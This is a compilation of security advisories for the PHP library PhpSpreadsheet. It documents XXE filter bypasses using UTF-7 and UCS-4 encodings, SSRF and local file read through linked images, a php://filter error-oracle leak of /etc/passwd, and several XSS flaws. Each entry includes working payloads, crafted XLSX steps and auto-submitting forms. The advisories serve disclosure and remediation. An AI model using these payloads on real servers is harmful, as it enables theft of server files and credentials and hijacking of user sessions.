Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details Check $pattern = '/encoding="(.?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this: <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> 5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: use PhpOffice\PhpSpreadsheet\IOFactory; require DIR . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); 7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact Read local files !lfi
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.: xml <a:blip cstate="print" r:link="rId1" />
And then, in xl/drawings/rels/drawing1.xml.rels they can set the path to anything, such as: xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> or xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" />
When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
php if ($this->embedImages || strstartswith($imageData, 'zip://')) { $picture = @filegetcontents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } }
$html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />';
PoC
php <?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
pregmatchall($pattern, $output, $matches);
print(" /etc/passwd content: \n"); print(base64decode($matches['data'][0]));
print(" HTTP response content: \n"); print(base64decode($matches['data'][1]));
Add this file in the same directory: book.xlsx
Run with: php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
PHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?<!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.
Unauthorized Reflected XSS in Convert-Online.php file Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.
!fig4
Figure 4. The message with the quantity parameter is displayed without sanitization
The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.
<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />
Figure 5. In the server's response , the quantity variable is displayed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight and Mass" /> <input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />
Figure 6. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in the constructor of the Downloader class
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/download.php script, an attacker can perform a XSS-type attack Impact: execution of arbitrary JavaScript code in the browser Vulnerable component: the constructor of the Downloader class Exploitation conditions: an unauthorized user Mitigation: sanitization of the name and type variables Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the Downloader class) in Phpspreadsheet.
The latest version (3.6.0) of the phpoffice/phpspreadsheet library was installed. The installation was carried out with the inclusion of examples.
Listing 1. Installing the phpoffice/phpspreadsheet library $ composer require phpoffice/phpspreadsheet --prefer-source
The ./vendor/phpoffice/phpspreadsheet/samples/download.php file processes the GET parameters name and type.
!fig1
Figure 1. The ./vendor/phpoffice/phpspreadsheet/samples/download.php file accepts GET parameters.
Consider the constructor of the Downloader class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.
!fig2
Figure 2. Error is displayed without sanitization
When clicking on the following link, arbitrary JavaScript code will be executed.
Listing 2. https://192.../vendor/phpoffice/phpspreadsheet/samples/download.php?name=%3Cimg%20src=1%20onerror=alert()%3E&type=1
Demonstration of the execution of arbitrary JavaScript code.
<img width="537" alt="fig3" src="https://github.com/user-attachments/assets/745d6e21-396f-4357-8ff8-e856adf15fee" />
Figure 3. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.
!fig9
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />
Figure 10. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Unauthorized Reflected XSS in the Accounting.php file
Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.
!fig7
Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />
Figure 8. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Summary
It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.
Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.
Details
When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/rels/drawing1.xml.rels file in the XLSX archive:
php if (isset($images[$embedImageKey])) { // ...omit irrelevant code... } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = strreplace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } }
setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:
php public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && pregmatch('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filtervar($path, FILTERVALIDATEURL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = filegetcontents($path); // ... check dimensions etc. ...
It's important to note here, that filtervar considers also file:// and php:// URLs valid.
The attacker can set the path to anything:
xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="this can be whatever" />
The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hashkitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/phpfilterchainsoracleexploit
PoC
Target file:
php <?php
require 'vendor/autoload.php';
// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to // keep the PoC simple, I've combined this into the same file.
$file = "booktampered.xlsx"; $payload = $POST["payload"]; // the payload comes from the Python script
copy("book.xlsx",$file); $zip = new ZipArchive; $zip->open($file);
$path = "xl/drawings/rels/drawing1.xml.rels"; $content = $zip->getFromName($path); $content = strreplace("../media/image1.gif", $payload, $content); $zip->addFromString($path, $content);
$path = "xl/drawings/drawing1.xml"; $content = $zip->getFromName($path); $content = strreplace('r:embed="rId1"', 'r:link="rId1"', $content); $zip->addFromString($path, $content);
$zip->close();
// The actual target - note that simply opening the file is sufficient for the attack
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/' . $file);
Add this file in the same directory: book.xlsx
Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.
Download the error oracle Python script from here: https://github.com/synacktiv/phpfilterchainsoracleexploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blowupinf = self.join([self.blowuputf32]15) to self.blowupinf = self.join([self.blowuputf32]20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.
Then run the Python script with: python3 filterschainoracleexploit.py --target [URL of the script] --parameter payload --file /etc/passwd
Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.
Here's the results I got after about a minute of bruteforcing:
!image
Impact
An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.
Summary The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet.
Details The security scan function in src/PhpSpreadsheet/Reader/Security/XmlScanner.php contains a flawed XML encoding check to retrieve the input file's XML encoding in the toUtf8 function.
The function searches for the XML encoding through a defined regex which looks for encoding="" and/or encoding='', if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic.
$patterns = [ '/encoding="([^"]]?)"/', "/encoding='([^']?)'/", ];
This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the = in the attribute definition.
PoC
Needed: - An Excel sheet (XLSX) with at least one cell containing a value.
Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE abc [ ... ]>
Step-by-step
1. First off, the following string is encoded in base64:
<!ENTITY internal 'abc' >"
Resulting in:
PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K
2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>
When this file is parsed by the library, the value abc should be in the original filled cell.
With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.
Impact Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.
Summary The XmlScanner class has a scan method which should prevent XXE attacks.
However, the regexes used in the scan method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.
Details The scan method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the toUtf8 method. Then, the scan method uses a regex which would also work with 16-bit encoding.
However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.
A payload for the workbook.xml file can for example be created with CyberChef')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
PoC
- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';
/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());
} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file, which contains a payload similar to the payload from the details section, but with the URL https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a instead of the http://127.0.0.1:12345/ext.dtd URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>.
Impact An attacker can bypass the sanitizer and achieve an XXE attackProcessing).
Summary
The XmlScanner class has a scan method which should prevent XXE attacks.
However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:
$patterns = [ '/encoding\\s=\\s"([^"]]?)"/', "/encoding\\s=\\s'([^']?)'/", ];
A payload for the workbook.xml file can for example be created with CyberChef')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need: 1. Create a file containing <?xml version = "1.0" encoding='UTF-7' in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add +ADw-+ACE---encoding="UTF-8"--+AD4- to the end of the XML file, which is matched by the first regex.
PoC
payload.xlsx
- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';
/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());
} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.
Impact
An attacker can bypass the sanitizer and achieve an XXE attackProcessing).
Summary One of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.
Details
The following code in 45Quadraticequationsolver.php concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution. $discriminantFormula = '=POWER(' . $POST['B'] . ',2) - (4 ' . $POST['A'] . ' ' . $POST['C'] . ')'; $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
$r1Formula = '=IMDIV(IMSUM(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . ')'; $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . '))';
PoC 1. Access 45Quadraticequationsolver.php in a browser 2. Enter any valid values for for b and c, and enter the following for a
1) & ("1)),1)&char(60)&char(105)&char(109)&char(103)&char(32)&char(115)&char(114)&char(99)&char(61)&char(120)&char(32)&char(111)&char(110)&char(101)&char(114)&char(114)&char(111)&char(114)&char(61)&char(97)&char(108)&char(101)&char(114)&char(116)&char(40)&char(41)&char(62)&POWER(((1") &n("1")&(1
3. Press submit and observe that JavaScript is executed.
!exploit-phpspreadsheet
Impact
The impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.
A solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.
Remediation
A quick and easy solution to prevent this attack is to force the parameters to be numerical values:
php if (isset($POST['submit'])) { $POST['A'] = floatval($POST['A']); $POST['B'] = floatval($POST['B']); $POST['C'] = floatval($POST['C']); if ($POST['A'] == 0) {
Thank you for your time!
Summary The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.
Details When generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.
php // Construct HTML $html = '';
// Only if there are more than 1 sheets if (count($sheets) > 1) { // Loop all sheets $sheetId = 0;
$html .= '<ul class="navigation">' . PHPEOL;
foreach ($sheets as $sheet) { $html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHPEOL; ++$sheetId; }
$html .= '</ul>' . PHPEOL; }
PoC 1. Create an XLSX file with multiple sheets : !image
2. Generate the HTML content php <?php require DIR . '/vendor/autoload.php';
$inputFileName = 'payload.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->writeAllSheets(); echo $writer->generateHTMLAll(); ?> 3. Enjoy !image
Impact
XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Example of impacts :
- Disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account (Only if HttpOnly cookie's flag is set to false). - Redirecting the user to some other page or site (like phishing websites) - Modifying the content of the current page (add a fake login page that sends credentials to the attacker). - Automatically download malicious files. - Requests access to the victim geolocation / camera. - ...
Summary
\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.
PoC
Example target script:
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
Save this file in the same directory: book.xlsx
Open index.php in a web browser. An alert should be displayed.
Impact
Full takeover of the session of users viewing spreadsheet files as HTML.
Summary \PhpOffice\PhpSpreadsheet\Writer\Html does not sanitize "javascript:" URLs from hyperlink href attributes, resulting in a Cross-Site Scripting vulnerability.
PoC
Example target script:
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
Save this file in the same directory: book.xlsx
Open index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.
Cross-Site Scripting (XSS) vulnerability in custom properties
